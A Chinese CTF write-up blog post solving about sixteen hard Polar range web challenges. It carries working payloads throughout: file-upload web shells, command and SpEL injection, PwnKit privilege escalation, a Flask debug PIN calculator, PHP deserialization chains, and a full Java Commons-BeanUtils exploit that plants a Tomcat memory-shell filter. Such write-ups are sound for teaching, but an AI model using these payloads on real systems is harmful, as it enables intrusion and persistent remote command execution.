【Web】记录Polar靶场＜困难＞难度题一遍过

Z3r4y2024-04-03 11:37

目录

上传

PHP是世界上最好的语言

非常好绕的命令执行

这又是一个上传

网站被黑

flask_pin

veryphp

毒鸡汤

[upload tutu](#upload tutu)

Unserialize_Escape

自由的文件上传系统​​​​​​​

ezjava

苦海

你想逃也逃不掉

safe_include

CB链

phar

PHP_Deserialization

最后还剩了两题，有点累了，后面有空就补上

上传

php文件应该是传不上去了

但看响应头可以上传.htaccess来包含恶意文件

SetHandler application/x-httpd-php

当前目录以及子目录所有文件将会被当作php解析。

再上传个图片马

回显了个<?，后续访问也是404，就是没传上去呗，文件内容还有问题

尝试用script标签继续优化，避开<?

但很可惜，高版本下服务器并不解析这种script标签为php代码，仍然不行

文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户

于是在将所有文件解析为php的同时，开启php_value auto_append_file用base64解码来包含恶意文件，从而绕过<?的限制

显示内容不能有file，尝试大小写绕过，但似乎不能解析

于是用\来绕过

再传个base64编码的图片马

访问/upload/yjh.png

连蚁剑，拿flag

PHP是世界上最好的语言

题目提示flag在$flag这个变量中

两处变量覆盖，$POST的值要在第一处就覆盖好

最后传参的时候用504[SYS.COM，不解释

非常好绕的命令执行

if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil)) 这一行是一个条件判断语句，检查拼接的恶意代码是否通过了黑名单检查，且不是纯空格字符，且是可打印的字符。

将冗余的括号注释掉，用#即%23来注释(浏览器里不能直接传#，否则其会被当作锚点)

payload:

?args1=echo&args2=`cat<flagggg`);%23&arg3=1

这又是一个上传

随便上传一个php文件，直接弹窗了，有前端检测

禁用js即可

太感动了，直接传上去了

连上蚁剑后主打一个没权限

得提权了兄弟们

可以看这篇文章：

【Web】超级详细的Linux权限提升一站式笔记_linux文件权限提升-CSDN博客

先查找suid文件

挺遗憾没有熟面孔的，但注意到一个刺眼的存在：/opt/polkit-0.105/src/programs/.libs/pkexec

这不嘎嘎乱搜

靠谱:

GitHub - luijait/PwnKit-Exploit: Proof of Concept (PoC) CVE-2021-4034

下面得用哥斯拉操作了

脚本文件上传到/tmp目录下

注意虚拟终端tty不完整

linux tty、伪tty是什么？-CSDN博客

用SuperTerminal执行提权，拿到flag

网站被黑

进来试试常规的信息搜集，发包看到响应头的Hint

base32解码

访问/n0_0ne_f1nd_m3/

text部分一眼data协议

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz

file的话尝试过日志包含，但并不行

于是换个编码方式绕过

quoted-printable 是一种编码方法，通常用于将二进制数据转换为 ASCII 字符串。

file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

最终payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

flask_pin

太典了太典了

flask算pin

初始界面直接得知了app路径:/usr/local/lib/python3.5/site-packages/flask/app.py

访问/console发现开启了debug模式

读/etc/passwd看用户名

/sys/class/net/eth0/address读getNode得到uuid

0242ac02dade十六进制转十进制即可

2485376965342

读/etc/machine-id

c31eea55a29431535ff01de94bdcf5cf

读 /proc/self/cgroup

8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b

整理后 拼接得到最终machine_id

c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b

经过尝试sha1算法不对，可以用md5算法生成pin

import hashlib
from itertools import chain


def getPIN(public_bits, private_bits):
    rv = None
    num = None
    # h = hashlib.md5()
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name


if __name__ == "__main__":
    public_bits = [
        'root',
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.5/site-packages/flask/app.py'
    ]

    private_bits = [
        '2485376965342',
        'c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b'
    ]

    PIN = getPIN(public_bits, private_bits)
    print(PIN)

输入pin进入console，为所欲为即可

veryphp

一眼变量覆盖，还有个很恶意的waf

🤔hackbar发包不行，得用bp发包，可能是因为有啥特殊符号吧

_用[来绕过

shaw[root=-a9<b>22222222>>>>pabcphp@Rs1

md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f \&\& strlen(SecretNumber)===5

gpt搓个脚本

<?php

$targetHash = '166b47a5cb1ca2431a0edfcef200684f';
$prefix = 'shaw';

for ($i = 0; $i < 100000; $i++) { // 尝试所有可能的数字，假设范围在 0 到 99999 之间
    $SecretNumber = str_pad($i, 5, '0', STR_PAD_LEFT); // 格式化为5位数，不足的用0填充

    $hash = md5($prefix . $SecretNumber . 'root'); // 生成哈希

    if ($hash === $targetHash) { // 检查哈希是否匹配目标哈希
        echo "找到匹配的 SecretNumber: $SecretNumber\n";
        break;
    }
}

爆出来是21475

最后注意过滤了e，所以call_user_func不能直接利用system

考虑利用qwq这个文件读取类的静态方法

毒鸡汤

访问/robots.txt

访问/hint.txt

访问/www.zip拿到附件

在index.php里看到一段任意文件包含

?readfile=yulu.txt试了一下确实可以利用

然后看了看yulu.php和dog.php没啥特别的

随手一试，我测，包含/flag直接就出了

upload tutu

​​​​​改MIMETYPE，显示要让文件内容不同

对文件内容修改后，要求文件内容md5值相同

传两个相等的md5值

s1885207154a

s1836677006a

跳转到新的界面，直接拿到了flag

Unserialize_Escape

这个filter特征，将匹配的 x 替换为 yy，一眼字符串逃逸

要逃逸20个长度，前面塞20个x就可

<?php
$username="Z3r4y";
$password="aaaaa";
$user = array($username, $password);
echo serialize($user);
//a:2:{i:0;s:5:"Z3r4y";i:1;s:5:"aaaaa";}
//";i:1;s:5:"aaaaa";}
//";i:1;s:6:"123456";}
echo strlen("\";i:1;s:6:\"123456\";}");
//20

payload:

username=Z3r4yxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

自由的文件上传系统

随便传个马，发现对文件修改了

直接不以php解析了，只能配合文件包含来利用了

注意到这里?被替换为了!

可以用script标签来绕过

点一下那个小房子的logo，跳转到一个文件包含点

访问/sectet_include.php?file=upload/6481059636

连蚁剑，拿flag

ezjava

看到提示，flag在/app/flag.txt

附件没啥内容，这不一眼spel注入

参考文章：

SpEL表达式注入漏洞学习和回显poc研究

payload:

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(), "utf8")).readLine()

记得url编码一次

苦海

题目源码

<?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路，蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法，好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯，回头是岸！';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

瞪眼看链子

User.__wakeup -> User.printName -> Surrender.__toString -> FileRobot.__get -> FileRobot.__invoke -> FileRobot.Get_file

exp

<?php
class User
{
    public $name;
}

class Surrender
{
}

class FileRobot
{
    public $filename;
    public $path;
}

$d=new FileRobot();
$c=new FileRobot();
$b=new Surrender();
$a=new User();
$d->filename='../flag.php';
$c->path=$d;
$b->file['filename']=$c;
$a->name=$b;
echo serialize($a);

payload:

?user=O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";N;s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}}

base64解码拿到flag

你想逃也逃不掉

这不一眼字符串逃逸

exp

<?php
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}

class User
{
    public $name;
    public $passwd;
    public $sign;
}

$a=new User();
$a->name="phtmlphtmlphtmlphtml";
$a->passwd=";s:6:\"passwd\";s:0:\"\";s:4:\"sign\";s:6:\"ytyyds\";}";
$a->sign="123456";

echo filter(serialize($a));

echo strlen("\";s:6:\"passwd\";s:26:");
//20 => 即要逃逸20个字符

safe_include

先写入恶意session文件

?xxs=<?php+system('tac+/f*');?>

再包含恶意session文件

?xxs=/tmp/sess_cofdad2n8lie1e30im77qhbrv6

CB链

看pom依赖，活活一个CB链呗

反序列化入口在/user路由下 ，也没在输入流处做过滤

题目环境不出网，考虑注入内存马

payload过长会报错，采用MyClassLoader来中转，从而实现分段传内存马

目录结构如下：

EXP.java

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;



public class EXP {

    public static void main(String[] args) throws Exception {

        final TemplatesImpl templates = createTemplatesImpl(MyClassLoader.class);

        // mock method name until armed
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        // switch method called by comparator
        setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        byte[] bytes = byteArrayOutputStream.toByteArray();

        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }

    public static <T> T createTemplatesImpl(Class c) throws Exception {
        Class<T> tplClass = null;
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
        } else {
            tplClass = (Class<T>) TemplatesImpl.class;
        }
        final T templates = tplClass.newInstance();
        final byte[] classBytes = classAsBytes(c);

        setFieldValue(templates, "_bytecodes", new byte[][]{
                classBytes
        });
        setFieldValue(templates, "_name", "Pwnr");
        return templates;
    }
    public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();
        Field classField = clazz.getDeclaredField(fieldName);
        classField.setAccessible(true);
        classField.set(obj, fieldValue);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field classField = clazz.getDeclaredField(fieldName);
        classField.setAccessible(true);
        return classField.get(obj);
    }

    public static byte[] classAsBytes(final Class<?> clazz) {
        try {
            final byte[] buffer = new byte[1024];
            final String file = classAsFile(clazz);
            final InputStream in = clazz.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            }
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            int len;
            while ((len = in.read(buffer)) != -1) {
                out.write(buffer, 0, len);
            }
            return out.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static String classAsFile(final Class<?> clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(final Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }
        if (suffix) {
            str += ".class";
        }
        return str;
    }
}

MyClassLoader.java

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();

            String classData=request.getParameter("classData");
            System.out.println("classData:"+classData);

            byte[] classBytes = Base64.getDecoder().decode(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}

FilterMem.java

package org.example;

import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class FilterMem implements javax.servlet.Filter{
    private javax.servlet.http.HttpServletRequest request = null;
    private org.apache.catalina.connector.Response response = null;
    private javax.servlet.http.HttpSession session =null;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    public void destroy() {}
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
        javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
        javax.servlet.http.HttpSession session = request.getSession();
        String cmd = request.getHeader("Polar-CMD");
        System.out.println(cmd);
        if (cmd != null) {
            //System.out.println("1");
            response.setHeader("Polar-START", "OK");
            // 使用 ProcessBuilder 执行命令
            Process process = new ProcessBuilder(cmd.split("\\s+"))
                    .redirectErrorStream(true)
                    .start();
            //System.out.println("2");
            // 获取命令执行的输入流
            InputStream inputStream = process.getInputStream();

            // 使用 Java 8 Stream 将输入流转换为字符串
            String result = new BufferedReader(new InputStreamReader(inputStream))
                    .lines()
                    .collect(Collectors.joining(System.lineSeparator()));
            System.out.println("3");
            response.setHeader("Polar-RESULT",result);
        } else {
            filterChain.doFilter(request, response);
        }
    }
    public boolean equals(Object obj) {
        Object[] context=(Object[]) obj;
        this.session = (javax.servlet.http.HttpSession ) context[2];
        this.response = (org.apache.catalina.connector.Response) context[1];
        this.request = (javax.servlet.http.HttpServletRequest) context[0];
        try {
            dynamicAddFilter(new FilterMem(),"Shell","/*",request);
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return true;
    }
    public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
        javax.servlet.ServletContext servletContext=request.getServletContext();
        if (servletContext.getFilterRegistration(name) == null) {
            java.lang.reflect.Field contextField = null;
            org.apache.catalina.core.ApplicationContext applicationContext =null;
            org.apache.catalina.core.StandardContext standardContext=null;
            java.lang.reflect.Field stateField=null;
            javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
            try {
                contextField=servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
                contextField=applicationContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
                stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
                filterRegistration = servletContext.addFilter(name, filter);
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                filterStartMethod.setAccessible(true);
                filterStartMethod.invoke(standardContext, null);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
            }catch (Exception e){
            }finally {
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
            }
        }
    }
}

用下面这个网站把字节码转base64

CyberChef

传的时候记得urlencode一下

先打入内存马

再命令执行

phar

先文件包含读funs.php

?file=php://filter/convert.base64-encode/resource=funs.php

base64解码得

<?php
include 'f1@g.php';
function myWaf($data)
{
    if (preg_match("/f1@g/i", $data)) {
        echo "NONONONON0!";
        return FALSE;
    } else {
        return TRUE;
    }
}

class A
{
    private $a;

    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    private $b = array();
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    private $c = array();
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}

瞪眼看链子

A.__destruct -> B.__toString -> C.__get

exp:

<?php

class A
{
    public $a;
}

class B
{
    public $b = array();
}
class C{
    public $c = array();
}

$c=new C();
$b=new B();
$a=new A();
$c->c=array("vm50"=>"flag");
$b->b=array("kfc"=>$c);
$a->a=$b;
echo serialize($a);

payload:

?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

PHP_Deserialization

瞪眼看链子

Polar.__wakeup -> Night.__call -> Day.__toString

exp:

<?php

class Polar
{
    public $night;
    public $night_arg;
}

class Night
{
}

class Day
{
    public $filename;
}

$c=new Day();
$b=new Night();
$a=new Polar();
$c->filename="/flflagag";
$a->night=$b;
$a->night_arg=$c;
echo base64_encode(serialize($a));

payload:

polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319
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